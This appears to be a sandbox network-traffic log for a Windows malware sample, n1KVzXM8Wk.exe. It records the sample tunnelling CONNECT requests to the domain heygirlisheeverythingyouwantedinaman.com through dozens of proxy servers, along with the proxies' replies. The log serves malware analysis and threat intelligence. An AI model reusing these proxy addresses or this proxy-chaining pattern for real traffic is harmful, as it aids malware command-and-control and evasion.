1532	192.168.2.4	54361	185.236.37.108	4443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.140736103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.475358963 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.4	54279	36.67.77.41	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.140984058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.4	51114	183.247.152.98	53281	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.140985012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.200428009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.4	53249	164.92.85.180	36655	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.141014099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.200408936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334597111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.444056034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.4	54432	153.19.91.77	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.141134024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.576255083 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 637 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 73 63 40 67 63 69 2e 67 64 79 6e 69 61 2e 70 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ssc@gci.gdynia.pl to inform them of t
Feb 23, 2024 09:45:28.576263905 CET	293	IN	Data Raw: 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 Data Ascii: he time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.4	53982	82.66.245.82	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.141571999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.200436115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334605932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.444175005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.4	54327	20.24.43.214	8123	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.141681910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.472400904 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.4	54453	194.247.173.17	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.142194986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.4	54049	107.180.90.42	10670	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.142276049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178364038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.179056883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.178493023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1541	192.168.2.4	54499	154.16.63.16	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.158094883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1542	192.168.2.4	54034	207.180.222.186	16207	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.164014101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1543	192.168.2.4	51694	128.199.221.91	64579	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.195076942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.200505972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334651947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.444173098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.4	54503	154.16.63.16	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.195266008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.4	54009	185.189.199.75	23500	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.214509964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.152307987 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.4	54419	20.27.86.185	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.214678049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.449181080 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.4	54039	45.11.95.165	6011	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.226170063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.4	54464	47.179.5.8	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.226634979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.4	54467	199.58.184.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.240962029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.4	54354	125.122.26.242	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.252695084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.4	54394	16.163.88.228	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.283500910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.616010904 CET	668	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 494 Connection: close ETag: "5d52d17f-1ee" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2e 3c 2f 68 31 3e 0a 3c 70 3e 53 6f 72 72 79 2c 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 62 72 2f 3e 0a 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 61 72 65 20 74 68 65 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 66 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 20 74 68 65 6e 20 79 6f 75 20 73 68 6f 75 6c 64 20 63 68 65 63 6b 0a 74 68 65 20 65 72 72 6f 72 20 6c 6f 67 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 3c 2f 70 3e 0a 3c 70 3e 3c 65 6d 3e 46 61 69 74 68 66 75 6c 6c 79 20 79 6f 75 72 73 2c 20 6e 67 69 6e 78 2e 3c 2f 65 6d 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html><head><title>Error</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>An error occurred.</h1><p>Sorry, the page you are looking for is currently unavailable.<br/>Please try again later.</p><p>If you are the system administrator of this resource then you should checkthe error log for details.</p><p><em>Faithfully yours, nginx.</em></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.4	54511	154.16.63.16	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.307054043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.4	54431	202.148.22.106	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.307199955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.4	54339	194.233.78.142	46115	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.307374001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147036076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.377182961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.844758034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.740914106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.4	54392	203.19.38.114	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.308505058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.689565897 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.4	54507	104.27.26.29	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.340986013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.433923006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.4	53275	142.54.235.9	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.363176107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.4	54496	195.90.216.75	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.386991978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.4	54016	124.70.78.157	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.387397051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.4	53280	5.161.98.204	3240	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.387607098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.716461897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147113085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.4	54465	59.6.26.121	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.395504951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.4	53882	72.195.34.59	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.427267075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.4	51688	171.244.10.204	8748	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.431689024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.475142002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.475486994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569158077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.4	54127	184.181.217.194	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.431840897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.4	51756	107.180.90.42	17153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.436582088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.443886995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.444143057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.4	51809	143.110.232.177	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.453574896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.646990061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.741189957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.4	53107	111.53.178.249	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.453881025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.537657022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
